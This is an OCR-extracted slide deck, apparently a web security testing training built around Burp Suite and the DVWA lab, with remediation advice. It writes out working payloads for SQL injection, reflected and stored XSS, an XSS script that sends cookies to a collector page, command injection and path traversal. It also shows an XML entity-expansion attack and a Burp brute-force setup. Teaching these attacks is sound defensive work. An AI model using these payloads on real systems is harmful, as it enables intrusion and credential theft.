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Intro

* Functional testing vs Security testing
* Functional testing — will it break?
« Security testing — how can | benefit from this?

« The right mindset
 Anyone can do it
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Typical Setup

* Web Proxy like Burp Suite or ZAP
« Guidelines/checklist like OWASP Guide v4

\ \\\

)

-

PFOXY HTTP Server (Web Server)

(BURP SUITE)
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Damn Vulnerable Web App (DVWA)

« Access the application on the IP provided by the
virtual web server

* Log in with ‘admin:password’

* Go to the ‘Setup/Reset DB’ page and click the
‘Create / Reset Database’ button

* Go to 'DVWA Security’, change level to ‘Low’ (or
‘Medium’, if you like a challenge) and click ‘Submit'.

* You can come back to ‘DVWA Security’ and set the
security level to ‘Impossible’ to see how the
vulnerability in question should be effectively
remediated.
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Burp Proxy

 In Firefox go to ‘Options’->'Advanced’->’Network’-
>'Settings’

Connection Settings @

Configure Proxies to Access the Internet
Mo proxy
Auto-detect proxy settings for this network
Use system proxy settings
@ Manual proxy configuration:
HTTP Progy: 127001 Port: 8080 =

| Use this proxy server for all protocols

S5L Proxy: |127.0.01 Port: | 8080
FTP Proxy: Port: | 8080
SOCKS Host: Port: | 8080f
SOCKS w5 Remote DNS
Mo Proxy for:
localhost, 127.00.1
Example: .mozilla.org, .net.nz, 192.168.1.0/24
Automatic proxy configuration URL:
Reload
Do not prompt for authentication if password is saved
[ QK l | Cancel | | Help |
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Burp Proxy

 In Burp go to the ‘Proxy’ tab and the ‘Options’
section. Configure a proxy listener:

‘ Add a new proxy listener

J Binding T Request handling T Certificate ]

‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]
Burp Intruder Repeater Window Help

[Tﬁrget Proxy | Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerLs ]

L;nl These settings control how Burp binds the proxy listener.
Bind to port: 8080

Bind to address: (@ Loopback only

I Allinterfaces

() Specific address: | 10.122.148.136 vJ

[ Intercept I HTTP history T ‘WebSockets history I Options 1
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@
(iy) Bure Proxy uses listeners fo receive incoming HTTP requests from your browser. You wil need to configure your browser Lo use one of the listenrs as s proxy server
L Add | Running Interface Invisible Redirect Certificate
€] 127.0.0.1:3080 o Per-host
Edt |
Remove |

Each instaliation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or
another installation of Burp.

L Import / export CA certificats | L Regenerate CA certificate |




Injection flaws

« SQL injection

« SQL injection (Blind)

« Cross-site Scripting (reflected)

« Cross-site Scripting (stored)

« OS command

* Others to be mentioned: XML, LDAP
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SQL Injection

User-controlled input that enables the attacker to
interact with the application’s back-end database
(DB) in non-intended ways.

This could lead to user account compromise,
extraction of sensitive data or denial of service.

Common causes:

— Lack of validation and sanitization

— No prepared statements (bind queries) used
— Principle of least privilege not applied
Examples in code:
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SQL Injection - Examples

$username =$ POST['username';

$query = “SELECT * FROM Users WHERE username
= ‘Susername’;”;

$username=“Bob”;

$query—“SELECT FROM Users WHERE
username='Bob’;":

$username="“Bob’ AND DoB=11111918";

$query=“ SELECT * FROM Users WHERE
username='Bob’ AND DoB="11111918":";
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SQL Injection - Examples

€ 127.0.0.1:1337/sqli.ph

Authentication successful!
Authenticated as: Bob

Login: ob' AND DoB='11111918

Submit

Authentication successfull
Authenticated as: Bob
Logimn:

& 127.0.01:1337/sqli.php
Login: Bob| Submit
= 127.0.0.1:1337/5qli.php

Submit
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€ 127.0.0.1:1337/sqli.php

Authentication failed!
Login:

Submit




SQL Injection — Authentication Bypass

$username=$ POST[‘username’];
$password=$ POST['password’];

$query="SELECT * FROM users WHERE
username=‘Susername’ AND password=‘$password’;

.0,

$username=“Bob’ OR username=*‘Alice’--"

$query="SELECT * FROM users WHERE
username='Bob’ OR username="Alice’--";"
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SQL Injection — Authentication Bypass

T
€ 1270.0.1:1337/sqli2.php “ 127.00.1:1337/sqli2.php € 127.0.0.1:1337/5qli2
Login: Bob sesenene Submit Login: Bob' or 'Alice'# Submit Authentication successful!
Authenticated as: Bob
Login: Alice'# Submit
€ PF 127.0.0.1:1337/sqli2.php € 127.00.1:1337/5qli2.php o 127.0.0.1:1337/sqli2.php

Authentication successful!
Authenticated as: Bob
Login:

Submit
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Authentication successful!
Authenticated as: Bob
Login:

Submit

Authentication successful!
Authenticated as: Alice
Login:

Submit




SQL Injection — Data Theft

$company=% POST['company’];
$query=“SELECT name,lastname,DoB FROM users WHERE

company=‘$company’;”;

$company=“Accenture’ UNION SELECT password FROM users
WHERE ‘1’=1"
$query=" SELECT name,lasthame,DoB FROM users WHERE

company="'Accenture’ UNION SELECT password FROM users WHERE
I1 !=£1 ’;”;

« The query above will fail. Why? Count the columns.

$company= Accenture’ UNION SELECT null,null,password FROM users
WHERE ‘1'=1"
$query=“ SELECT name,lastname,DoB FROM users WHERE

company="'Accenture’ UNION SELECT null,null,password FROM users
WHERE “1'=1";";
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SQL Injection — Data Theft

] 127.0.01:1337/=qli3.php

Submit

Search name: Bob|

€ > 127.0.01:1337/5qli3.php

Search name: password FROM users# | Submit

€ 127.0.01:1337/5qli3.php

Search name: CT null,null,password FI | Submit

&= 127.00.1:1337/sqli3.php

Submit

Search name:

Name: DoB: Company:

Bob 18111918 Accenture

& 127.0.0.1:1337/5qli3.php

Submit

Search name:

Something went wrong with the query.
No users found!
Name: DoB: Company:

L] 127.0.01:1337/5qli3.php

Search name: 3ob' OR DoB='11111918 | Submit

L3 127.0.0.1:1337/sql3.php

Submit

Search name:

Name: DoB: Company:
Bob 18111918 Accenture
Mallory 11111918 IBM
Eve 11111918 IBM
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& 127.0.0.1:1337/sqli3.php

Submit

Search name:

Name: DoB: Company:
Bob 18111918 Accenture
password

passwordl




SQL Injection - Blind

« Uses true and false statement outcomes

e.g. true=>successful query; false=>error message
* Retrieve information about data

e.g. Is the first character of the user’'s password ‘a’?
« Very slow data theft
« $D0B=“18111918 AND password LIKE ‘a%”;

$query="SELECT * FROM users WHERE
DoB='18111918’ AND password LIKE ‘%a’:"
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SQL Injection - Blind

=

€ 127.0.0.1:1337/sqlid.php € 127.00.1:1337/sqlid.php & 127.00.1:1337/sqlid.php

Search name: Bob| Submit Search name: Bob' AND '1'="1 Submit Search name: Bob' AND '1'="2 Submit

No users found!

Name: DoB: Company: Name: DoB: Company: Name: DoB: Company:
Bob 18111918 Accenture Bob 18111918 Accenture

€ 127.001:1337/=qli4.php & 127.0.01:1337/5qid.php € 127.00.1:1337/sqlid.php
Search name: ' AND password like 'a%| | Submit Search name: ' AND password like 'p% | Submit Search name: 4ND password like 'pa% | Submit

No users found!
Name: DoB: Company: Name: DoB: Company: Name: DoB: Company:

Bob 18111918 Accenture Bob 18111918 Accenture
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SQL Injection — Second Order

« EXxecute a query when the injected value is used in
future queries.

« $query="INSERT INTO users (name) VALUES
(‘bname’);”
$name=“Bo
$query2="UPDATE users SET

password=‘$password’ WHERE name='"$name’ AND
password=‘$old_password’;”

$hame2="“Bob’--"

$query2="UPDATE users SET
password=‘$password’ WHERE name='‘Bob’-- AND
password=‘$old password’;”

7 ”
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SQL Injection — Second Order

€ 127.001:13

Add vser: Roger Submit

€« > 127.0.0.1:1337/5qlid.php

Add user: Samantha| Submit

i

Edit %z Copy @ Delete Samantha  password2

Samantha

NULL NULL 14

€ 1270.01:1337/sqlid.php

User added successfully!

Change password: password Submit
. 127.0.0 11337 /sqlid.php

Something went wrong with the query.

Change password:

Submit

&7 Edit % Copy @ Delete Roger password2 Roger NULL NULL 12
& 127.0.01:1337/5q)id.php
User added successfully!
Change password: sesssssse password Submit
€ F 127.0.0.1:1337/sqli4.php
Roger's password changed!
Add user Submit
Edit ¥ Copy @ Delete Roger password Roger NULL NULL 12

&
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Edit ¥¢ Copy @ Delete Samantha  password2

o

Samantha

NULL  NULL 14 |




SQL Injection — Second Order

AL L L aa Rl pRp
€ 127.0.0.1:1337/sqlid.php

Add user: Samantha'#|

[ o Edit #c Copy @ Delete Samantha  password2  Samantha NULL NULL 14
] & Edit ¥c Copy @ Delete Samantha'® password2  Samantha® NULL NULL 19
(-_ 127.0.0.1:1337/sqlid.php
User added successfully!
Change password: 123
(-_ 127.0.01:1337/sqlid.php
Samantha'#'s password changed!
Add user:
/ \
[ o Edit % Copy @ Deletal Samantha 123 Samantha NULL NULL 14
[ « Edit #c Copy @ Delete Samantha# password2 Samantha# NULL NULL 19
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SQL Injection — Second Order

lif tisset(E_FOST:‘s:b:;:':]]

#Use prepared statement h
Z3tmt = SdbZ->prepare ("3
fatmt—>bindValue (" :name’

fztmt-r»execute () ;

I if (Sstmt->rowCount ()<l)
#0se prepared statement
Sstmt = SdbZ->prepare ("1
S£ztmt->bindValue (" :name
fztmt-rexecute () ;
I if ($stmt->rowCount ()<1l)

m

}™) or die("Cannot prepar

echo "Something went Wwrono th the mer = L
1 elseif iissetiS_PDST:‘:ha:;e‘:]J i
I if iissetiE_PDST:‘:;ﬁ password']) ) {

o~

$o0ld _pass=%_ POST['old passw
else {
fold pass="";

Squery="UPDL users S5ET password='Spassword' W :are='“.s_5ESSIDN:'Ase::a"a ]."" AND password
Sres=mysqgl ¢uery (Squery, Sdb);
fsuccess=mysgl affected rows(%db):
I if ($success<l)
echo "Something went wrong with the gquerv.<br />";

I='50ld pass"'";
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Remediation

« Validate and sanitise all external data, rejecting all
Inputs that do not comply with the format of expected
data. Use a web development framework for
validation and sanitisation.

« Use prepared statements and parametrized gueries
to communicate with the back-end DB.

« Make sure the application accesses the DB with as
little privilege as is absolutely necessary to make the
application work.
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Cross-Site Scripting (XSS)

« Execute arbitrary JavaScript in an application user’s
browser as if it is a part of the application.

* The attack enables website defacement, malware
distribution, session hijacking, compromise of
credentials and sensitive data.

« Common causes

— Lack of input validation and sanitization
— Lack of encoding of dynamic output

— CORS misconfiguration

— Cookie misconfiguration

« Examples in Code:
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XSS - Examples

« <form method="POST" action="xss.php"
Id="myform"><input name="yourname" />

<input type="submit" value="Submit" />
<form>
<?php
If (isset($_POST['yourname')))
{
echo "<p>Greetings, ".$ POST['yourname']." I";
}
>
« $ POST['yourname’]=“<script>alert(‘XSS’)</script>"
<p>Greetings, <script>alert('’XSS’)</script> !l</p>
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XSS - Examples

Q',;:' (D) | 127.00.1:1327/xss.php Q-,:iu (@ | 127.001:1337fxss.php
Annal | Submit | it=alert(™S5")</script> | Submit

Q-,j () | 127.00.1:1337 /xss.php
Submit |

((;jn (D) 127.001:1337 fuss.php

Greetings, Anna !!
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XSS - Stealing Cookies

« <script>alert(document.domain)</script>
« <script>alert(document.cookie)</script>
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XSS - Exfiltration

« <script>document.createElement('img').setAttribute(’

src','nttp://127.0.0.1:1337/exfil.php?cookie='+docume
nt.cookie)</script>

o <?php

If isset($ _GET['cookie') {
$myfile = fopen("cookiefile.txt", "w");
fwrite($myfile, $ GET['cookie']);
fclose($myfile);

}

?>
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XSS - Exfiltration

« The source of the image could be a third-party site
under an attacker’s control.

& 127.0.0.1:1337 xss.php

ument.createElement('in | Submit

MName Date modified Type

_ cookiefile.bd 7/25/2016 4:19 PM Text Document
| exfil.php 7/25/2016 416 PM  PHP File

|| xss.php 7/25/2016 318 PM  PHP File

File Edit Format View Help

secretsessionToken=UseThisToAccessBankDetails
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XSS - Exfiltration

 Note that the user I1s not alerted that their cookie has

been sent offsite

« Ifa ‘GET requestis used instead of a ‘'POST’ by the
form on xss.php’, a user can be sent a link to the
page that contains the crafted payload.

* Further obfuscation and stealth techniques, such as
encoding, can be used to disguise XSS payloads in

URLS

« Evenifa 'POST requestis used, an attack is still

possible.
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&

Greetings, !!

Submit




XSS - Stored/Persistent

 The XSS payload is stored in the DB and is executed
every time someone Vvisits a page where the data is
used.

I (o remli
E\(- ) (0 |1270.01:1337/5qlid.php '-\(_' ) () 127.00.1:1337/5qlid.php
- - [ - ] User added successfully!
Add user: |ptbalert[123)<,"scr|pt>| Sl Change password: sessesesee 123 Submit
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Remediation

« Validate and sanitize all external input, rejecting
everything that doesn't fit the format of expected
data. Modern frameworks take care of this in a
consistent way.

« Encode all dynamic output to all application pages to
prevent the browser from executing any HTML or
JavaScript within. Modern frameworks take care of
this in a consistent way.

« Configure cookies and session tokens to be
‘HttpOnly'.
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Command Injection

« Execution of arbitrary shell/system commands on the
application host.

« The attack can have dire consequences, including
denial of service, compromise of the application host,
the back end database and potentially other hosts on
the adjacent network.

« Common causes:

— Lack of input validation
— Lazy programming
— Applications running with high privileges on the host

« Examples:
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Command Injection - Examples

& 127.0.0.1:1337/cmd.php & 127.0.01:1337/emd.php

Get file: Submit
Get file: test.tut Submit stiie lﬂ

This 1s a legitimate test document

Thi=s is a legitimate test document

75 127.00.1:1337/cmd.php

Get file: tet.txt && ipconfig| Submit

This 1s a legitumate test document

This is a legitimate test document

s 127.0.01:1337/cmd.php c Search v B 9 3+ A/ O - @~
Get file:

This 1s a legitimate test document Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80:25¢cb:436£:360a:2ef4%11 [Pv4 Address. ... ... ... .
10.122.148.142 Subnet Mask . ... ... ... 255.255.255.0 Default Gateway - 10.122.148.1 Ethernet adapter VMware Network Adapter VMnet1: Connection-specific DNS Suffix . : Link-local [Pv6 Address
feB0::9119-ee76:a345:933a%17 IPv4 Address ©192.168.189.1 Subnet Mask . .. ... ... 255.255.255.0 Default Gateway - Ethernet adapter VMware Network Adapter VMnet8: Connection-specific DNS Suffix . :
Link-local [Pv6 Address - fe80::d00e:3a77-9173 - befc?%]18 IPv4 Address. ... ... 21921681271 Subnet Mask . ... ... :255.2552550 Default Gateway .. .. .. .. - Tunnel adapter 1satap {AS1CT9FE-
6C67-4BD4-9110-8201D08B6859}: Media State . .. .. ... ... : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter 1satap. {072F1DF8-ED6D-40FB-AD45-E977FE6884B3}: Media State . . ... .. .. .. : Media disconnected
Connection-specific DNS Suffix . : Tunnel adapter isatap. {98563140-35FD-4283-AF81-575AA253C815}: Media State . . .. ... ... .: Media disconnected Connection-specific DNS Suffix . :

Connection-specific DNS Suffix

5
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Command Injection — Path Traversal

« Traversing directories in the file system to access

system files not intended for access by the
application.

€ ) (©127001:1337/cmd.php = 127.0.0.1:1337/cmd.php
Get file: [test.0d |ﬂ Get file: ..\..\temp\secret.tdt Submit
This 1s a legitimate test document
This i= a legitimate test document
€ 127.0.01:1337/cmd.php

Get file: | Submit |

This 1s a file containing confidential information.

Thi=s i=s a file containing confidential information.
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Remediation

« Use safe functionality to interact with the application
host, e.g. use file system APIs to read and write
documents or files.

e Sanitise user input, rejecting anything that does not
adhere to the expected format.

* Ensure that the application does not have excessive
orivileges on the web server.

« Have a robust permissions model on the application
nost to ensure that the application cannot access
system files.
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Other Types of Injection

« XML

— Xpath Injections — Xpath is used to query XML documents; injecting
xpath expressions is conceptually similar to SQL injections; and
parametrized interfaces are available for remediation

Employee[UserName/text()="test’ or 1=1 or 'a'='a' And
Password/text()="test']

— Entity expansions — denial of service oriented attacks that use
recursive references to external entities to be processed by XML
parsers:

<IDOCTYPE foobar [<IENTITY x "AAAAA... [100KB of them] ...
AAAA">]>

<root>

<hi>&x;&x;....[30000 of them] ... &x;&x;</hi>

</root>

— Common causes:
« Misconfigured XML parsers
» Lack of user input validation/sanitisation
» Misconfigured access permissions on the application host
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Other Types of Injection

« LDAP - Lightweight Directory Access Protocol

— Applications that interact with LDAP to provide access
control or retrieve data may be susceptible to
malicious modifications of LDAP statements

— LDAP statements are essentially a query language,
therefore attacks are conceptually similar to SQL
Injection

« “(user=" + userName.Text + “);”
« userName.Text=Marley, Bob
« userName.Text=Marley, Bob)(|(objectclass=*

— Common causes:
 Lack of validation/sanitisation
« EXxcessive application privileges on the LDAP directory
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Exercises

« Damn Vulnerable Web App
— SQL Injection
— XSS Reflected
— Command Injection
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Authentication Issues

« Weak Credentials

« Bad Password Recovery System
* Login Page Issues

Copyright © 2016 Accenture All rights reserved.



Weak Credentials

« Weak password requirements — Users will choose to
set weaker passwords, if allowed

« Policy enforced on client side only

* Predictable usernames and passwords, such as
Incremental ID based usernames and dictionary
passwords

« Strong password policy example — 8 characters
minimum length; no or high upper limit; mix of at
least 3 different types of characters — uppercase,
lowercase, numeric and ideally special characters;
no common/guessable words; not the same as
username; password history of at least 10 cycles
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Weak Credentials — Client-side Validation

Test:test

<« C' | [1 127.0.0.1:1337 /weak-creds.php

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

Username: [Test Password: [sees Submit
Home
€« C' | [§ 127.0.0.1:1337 /weak-creds.php

The password must be at least 8 characters long and contain at least one numeric ch

Add user:
Usemame: Test Password: [sess

Home

127.0.0.1:1337 says:

Passwaod does not match policy

Prevent this page from creating additional dialogs.
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Weak Credentials — Client-side Validation

e Test.testtest

<« C' | [0 127.0.0.1:1337/weak-creds.php
The password must be at least 8 characters long and contain at least one numericch 1570011337 says:

Passwod does not match policy

Username: Test Password: [sereeees Submit

Home

Add user: . ! » .
Prevent this page from creating additional dialogs.

 Test:testtestl

€« F 127.0.0.1:1337/weak-creds.php

User added successfully!

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

Username: Password: Submit

Home
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Weak Credentials — C

lent-side Validation

€ 127.0.01:1337 /wea

The password must be at least 8 characters long and contain at least one numeric character!

Add user:

(Username: Test2 Password: sssssssse

Submit

Home i Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]
Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extende

J Intercept T HTTP history TWeDSuckam history T Options ]

f ]
Intercept is on

Raw Params Headers Hex

‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

Target Spider | Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer I Extender I Project optio

J T HTTP history I WebSockets history T Options 1

Lf| Request to http://127.0.0.1:1337

| Intercept is on | Action |

l Forward \ L Drop |

Raw | Params | Headers | Hex

POST /weak-creds.php HITB/L. 1
Host: 127.0.0.1:1337

User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:47.0) Gecko/20100101 Firefox/47.0
hecept: text/heul,applicacion/sheml+xnl, application/uml;gq=0.9,*/*;q=0.8

hecepo-Language: en-US,en;iq=0.5

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:1337/weak-creds.php

Cookie: SecretSessionToken=UseThisTohccessEankDetails; PHPSESSID=jrmshghbripoualgfngb434ial

Connection: close
Content-Type: application/x—wiv-form-urlencoded
Content-Length: 43

name=TestZapassword=testtestlasubmit=Submit

‘ Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

[oreet |

I Spider I Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project option

_[ I HTTP history T WebSockets history I Options ]

|ﬁ| Request to hitp//127.0.0.1:1337

| Intercept is on | Action |

l Forward | l Drop |

_[ Raw T Params I Headers | Hex

POST fweak-creds._php HTTP/1.1
Host: 127.0.0.1:1337

Accept: text/html, application/xhtmltxml, application/xml;q=0_9, */*;g=0_8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Beferer: http://127.0.0.1:1337/wealk-creds._ php

Connection: close
Content-Type: application/x-www—form-urlencoded

Content-Length: 43

name=Testlipassword=cestisubnit=Subnit

User-Agent: Mozilla/E.0 (Windows NT £.1; WOW&4; rv:47.0) Geckos/Z0Ll00101 Firefox/47.0

Coockie: SecretfSessionToken=UseThisToAccessBEankDetails; PHPSESSID=jrmshoghbrSpoualgfmel434ial

€ 127.0.0.1:1337 /weak-«

o

User added successfully!

Add user:

Usemname: Password:

Home

The password must be at least § characters long and contain at least one numeric character!

@ Delete Test2

test Test?2 NULL

NULL 25
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Weak Credentials — Server-side Validation

* Note the logic weakness — a password that only
contains numbers would pass the validation check

Hif (isset (s POST['password'])) |
épasaword=%_ POST['password'];
H if (strlen($password)>=t =& preg match('~[0-5]~', Spagaword)===1) |
spaggword valid=true:

i 1

Hif (isset(s_POST['submit'])) {

tatmt = &£db2->prepare ("SELECT * FROM users WHERE username=:name™) or die("Cannot prepare statement.”):
satmt->bindValue (' :name', Sname);

Satmt->execute {) ;

f |iE {($stmt->rowCount ()<l =& $passwcrd_valid]|{

i TTT

S$atmt = S$db2->prepare ("INSERT INTO Users(username,name,password) VALUES (:name, :name, :password) ™) or die("Cannct prepare statement.™);
- 1 L e
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Weak Credentials — Server-side Validation

_[ Raw T Params T Headers T Hex ]

[ Raw I Headers T Hex T HTKML T Render }

User-Agent: Mozilla/s5. 0 (Windows NT &.1; WOWe4; rv:-47.0)
Gecko/Z0100101 Firefox/47.0

Aocept:

text/htnl, application/xhtml+txml] , application/xml;gq=0.9, */*;q=0_8
Aocept-Lancuage: en-US, en;g=0_5

Accept-Encoding: gsip, deflate

Referer: http://127.0.0_.1:1337/weak-creds_php

Cookie: SecretfessionToken=UseThisToAccessBankDetails;
PHPEESSID=rmshghbripoual gfmgh434ial3

Commection: close

Content-Type: application/x-www-form-urlencoded
Content-Length: 43

name=TestIEpassword=passwordlgsubmit=Submit

POST fweak-creds.php HTITP/1.1 A
Host: 127.0.0.L1:1337 - Canmot add
User-Agent: Mozilla/5.0 (Windows NT &.1; WOW&4; rv-47.0)
Gecko/ZDIO0LOL Firefox/47.0 The password must be at least 8 characters long and contain at least one
Accept: .
numeric character!
text/htnl , application/xhtwmltm]  application/mml ;gq=0_5 *%/*;g=0_8
Accept-Language: en-US, en;qgq=0_5
Accept-Encoding: gzip, deflate
Beferer: http://127.0.0.1:1337/weak-creds.php Add user:
Cookie: SecretSessionToken=UseThisToAccessBankDetails;
PHPSESSID=9rmshghbripoual gfugh434ia3 Username: Password: Submit
Connection: close Home
Content-Type: application/x-www-form-urlencoded _—
Content-Length: 37
name=Test35LﬂJmit=SuJ:mit
J Raw I Params I Headers [ Hex ] [ Raw I Headers I Hex I HTML I Render ]
POST fweak-creds.php HTTPS1l.1 "
Host: 177.0.0.1-1337 - |Use1' added successfu]ly!l

The password must be at least 8 characters long and contain at least one
numeric character!

Add user:
Username; Password; |_ Submit |
Hoime
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Password Recovery

Weak authentication — the application does not ask for
enough details to verify the legitimacy of the reset
requestor

Insecure delivery method — the application returns the
user’s password on screen or sends it in plaintext over
email

Logic bypass — some stages of the recovery process can
be bypassed; for example by browsing to the success
page and skipping the security gquestions

Security question guessing or brute-force — Remember
why adding your mother and your dog on Facebook was
a bad idea?

Password recovery link/token weaknesses — predictable,
easy to brute-force, reusable
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Login

« Username enumeration — authentication error message
reveals, whether the username or the password were incorrect

* No brute-force protection — an attacker can guess the
password an unlimited number of times or configure an
automated brute-force attack

« Account lockout response — a lockout response after several
unsuccessful attempts reveals whether the username is
registered with the application, as no lockout response occurs
for a non-existent username; furthermore, a lockout response
can reveal the duration of the lockout, allowing to configure a
delayed automatic attack

« Account lockout denial of service — an attacker can remotely
cause for user accounts to be locked out. If the accounts do
not automatically re-activate, victim users cannot access the
application
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Username Enumeration

€ 127.0.0.1:1337/user-enum.php 6 127.0.0.1:1337 /user-enum.php

Login: Login:

Username: incorrect_username Password: sesssses Username: Test2 Password: eesessee
Home Home

& ﬁ' 127.001:1337 fuser-enum.php € " 127.0.01:1337/user-enum.php

The user does not exist.
Login:

Username: Password:

Home

The password 1s incorrect.
Login:

Username: Password:

Home

3] P 127.0.0.1:1337/user-enum.php

Login successful!
Logmn:

Username: Test2 Password: eees

Home
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Remediation

« Careful and thoughtful design of authentication and
password recovery mechanisms with security in
mind.

« Enforcing rules and policies on the server side.

« Using generic non-descriptive messages, such as
“authentication failed”.

« Using secure password delivery methods or use of
temporary passwords.
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Exercises

« Damn Vulnerable Web App
— Brute Force
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Exercises — Brute Force

=

l Intruder attack - C:\Users\alise.silde\Documents\Conferences\TAPOST\burp-dvwa-bruteforce
Aftack Save Columns

Results | Target | Positions. T Payloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for
full details.

Attack type: | Cluster bomb

GET /vulnerabilities/brute/lusername=§testSsipassword=§test§slogin=Login HTTP/1l.1

A
Host: 10.12Z2.148.7Z2 - Add §
User-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4; rv:47.0) Gecko/Z010010l1 Firefox/47.0
Accept: text/html, application/xhtmltxml, application/xml;q=0.9, */*;q=0.8 Clear §
Accept-Langquage: en-US,en;q=0.5 S
Accept-Encoding: gzip, deflate Auto § I
Peferer: http://10.122.148. 72/vulnerabilities/brute/
Cookie: PHPSESSID=1lh453luptulvec350aeTmv58r4; security=medium Refresh
Connection: close
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Exercises — Brute Force

E Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [2 user license]

Burp Infruder Repeater Window Help

Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Akerts

E Burp Suite Professional v1.7.03 - Temporary Project - licensed to Accenture [3 user license]

Burp Intruder Repeater Window Help

Extender T Project options T User options | Alerts

Target | Proxy | Spider | Scanner | intruder RepealerISEquencer Decoder | Compare-

1% |2 = |sdue

1% |2= [@

e

Target pnsmnnshaymas Options.

Target pusniunsTpaymm Options.

2] Start attach

You can define one or mare payload sefs. The number of payload sets depends on the attack type defined in the Postions tab. Various payload types are avaiable for sach
payload set, and each payload type can be customized n different ways.

L w
Payload type: | Simple list -

Payload set

Payload count: §

Request count: 17,120

This payload type lets you configure a simple list of sirings that are used as payloads.

paste admin
gerdonb

Load 1337
pablo

Remove | | smithy
Clear

Agd £

| Add from list

You can define rules to perform various processing tasks on each payload before it s used

Add | | Enabled | Rule |

Remove

il

Up

You can define one or more payload sets. The number of payload sets depends on the attack iype defined in the Fositons tab. Various payload types are available for each
payload set, and each payioad type can be customized in different ways.

Payload set |2 >
Payload type: | Simple list v

Payload count: 3,424

Request count: 17,120

This payload type lets you configure a simple list of strings that are used as payloads.

Paste @#s% 4
I@HS %A
Load '@HE%S
I@HsUs
Remove Iroot
SSRV
Clear Ssecures
*3noguru
@H5% v

Add

| Add from list

You can define rules to perform various processing tasks on each payload before itis used

Add | |Enabled | Rule

Edit

Remove

Start attack
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Exercises — Brute Force

E Intruder attack - C\Users\alise.silde\Documents\Conferences\TAPOST\burp-dvwa-bruteforce

Aftack Sawve Columns

[ Resultz. T Target T Positions. T Payloads T Options ]

These seftings control the engine used for making HTTP requests when performing attacks.

Gl

Number of threads: 3
Number of retries on network failure: 3

Pause before retry (miliseconds): 2000

Throttle (miliseconds): Fixed 100

Start time: ediateh

minutes

These =ettings control what information is captured in attack results. -

©&

[ Store reguests
[ Store responses

[ Make unmodified baseline request

[ Store full payloads

These zettings can be used to flag result tems containing specified expressions.

©&

[# Flag result tems with responses matching these expressions:

Paste password incorrect
Load ...
Remove

Clear
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Exercises — Brute Force

‘ Intruder attack - C\Usershalise silde\Documents\Conferences\ TAPOST \burp-dvwa-bruteforce

Attack Save Columns

_[ Results I Target T Positions T Payloads T Options W

Fitter: Showing all items

Request | Payloadi | Payloadz | Status | Error | Redirec... | Timeout | Length | pass... & | Comment
5227 gordonb abc123 200 L o [ 5289 L
11204 pablo letmein 200 LJ 0 . 5285 LJ
12946 admin password 200 L ] I 5285 L
12950 =mithy password 200 |l ] [ 5287 |l
0 200 O 0 o 5227 Ei
1 admin \@#E% 200 L 0 L 5227 €4
2 gordonb \EHS Y% 200 J 0 [} 5227 £
3 1337 NEHEY% 200 U 0 U 5227 4]
4 pablo NEDHE % 200 ] 0 [ 5237 (£
5 smithy @S 200 a 0 a 5237 €]
6 admin EHES %" 200 LJ 0 [} 5227 €4
7 gordonb D" 200 J 0 [ 5227 |
8 1337 S " 200 L 0 U 5227 [E4]
0 bl Lm0 A b T Wi} L1 n L1 | =les o [ i}

J Request I Response ]

J Raw T Params T Headers T Hex ]

GET fvulnerabilities/brute/?username=smithyvipassword=passwordilogin=Login HTTP/1l.1
Host: 1l0O.122.148.7Z

User—-Agent: Mozilla/5. 0 (Windows NT &.1; WOWE4; rv:-47.0) Gecko/20100101 Firefox/47.0
Aocept: text/html, application/xhtml+txml, application/xml; gq=0_59, */*;gq=0.8
Acocept-Langquage: en-US,en;qg=0_5

Accept-Encoding: gsip, deflate

Beferer: http://l0.122_148_ 72/vulnerabilities/brute/

Cookie: PHPSESEID=1lh453luptulwvesiilasTovsiird; security=medium

Comnmection: close
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Authorization Issues

* Forced Browsing

 File Inclusion

« Parameter Manipulation
Cross-Site Request Forgery
Directory/File brute force

Copyright © 2016 Accenture All rights reserved.



Forced Browsing

* An application user is able to access an area of the application that should not be
available to them by simply browsing to the page URL.

» Horizontal privilege escalation — e.g. being able to access another user’s profile details
by changing the user id in the URL

 Vertical privilege escalation — e.g. being able to access an administrative area by
browsing to hitp://example.com/admin/, even though this page is not linked to by any
other area available to you

» File inclusion — direct browsing to unlisted resources, such as files, by guessing their
names
« Common causes and facilitators:

— The application does not check the requestor id for whether or not they are allowed to
view the requested data

— The application does not perform authorization checks (check requestor id) when
accessing ‘hidden’ pages
— The application reveals the existence of sensitive areas, such as /admin/, in the source

code (e.g. the /admin/ page is commented out in HTML, if the logged in user is not an
admin)

« Remediation

— The application should check the requestor’s authorization to view the requested data
consistently on every request

— The application should check authorization even on seemingly ‘impossible’ requests
— The application should not rely on ‘security through obscurity’
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http://example.com/admin/

Parameter Manipulation

« Auser is able to intercept a request for data or resource and manipulate the
identification or reference used to request the resource. As a result they may
be able to access resources they are not authorized for.

« Similarly a user may be able to manipulate a cookie value or a hidden login
field to change their user role in the application, e.g. setting ‘isAdmin’ to true

e Common causes:

— The application exposes resource IDs or references in application requests
as hidden field values or otherwise

— The application does not verify if the requestor has the authorization to
access the requested resource

— Resource IDs and references are predictable or guessable, such as
